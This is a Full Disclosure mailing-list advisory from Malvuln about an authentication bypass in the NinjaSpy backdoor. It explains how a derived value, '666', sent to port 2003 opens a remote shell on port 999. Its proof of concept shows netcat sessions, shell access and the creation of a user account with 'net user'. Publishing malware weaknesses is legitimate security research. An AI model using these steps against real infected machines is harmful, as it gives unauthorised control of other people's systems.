full-disclosure - [FD] Backdoor.Win32.NinjaSpy.c / Authentication Bypass

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Message-ID: <CAAHK0WQgtdy+kjJqxKMAfrQJ4BO=_JHNi998-jRgrw2OFDpmkA@mail.gmail.com>
Date: Thu, 14 Apr 2022 21:55:08 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.NinjaSpy.c / Authentication Bypass

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/9f39606d9e19771af5acc6811ccf557f.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NinjaSpy.c
Vulnerability: Authentication Bypass
Description: The malware listens on TCP ports 2003, 2004 and drops a PE
file named "cmd.dll" under Windows dir. Connecting to port 2003, you will
get back a number "9951" from the infected host. If we send the value 1000
we get a message in Portugese "Pisca Pisca Ativado" translates to "Blink
Blink Activated". If we connect to port 2004 and send "abc123" we get
message "Acesso negado..." translates to "Access denied". However, if you
take the initial number we received earlier (9951) when connecting to port
2003 and apply some calculation we expose hidden functionality. Take the
9951 value and invert the first two digits to 66 and then add together the
last two 5 + 1 to equal 6 for a final value of "666". Example, initial
number (9951) 99 inverted equals 66 and 5 + 1 = 6. Enter and send the
constructed value of "666" to port 2003 and TCP port 999 is opened. Connect
to port 999 and you get back a remote shell.
Family: NinjaSpy
Type: PE32
MD5: 9f39606d9e19771af5acc6811ccf557f
Vuln ID: MVID-2022-0552
Disclosure: 04/14/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 2004
test
Acesso negado...pwd

C:\>nc64.exe x.x.x.x  2003
9952666

C:\>nc64.exe x.x.x.x  999
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>whoami
whoami
desktop-2c3iqho\victim

C:\dump>net user hyp3rlinx abc123 /add
net user hyp3rlinx abc123 /add
The command completed successfully.

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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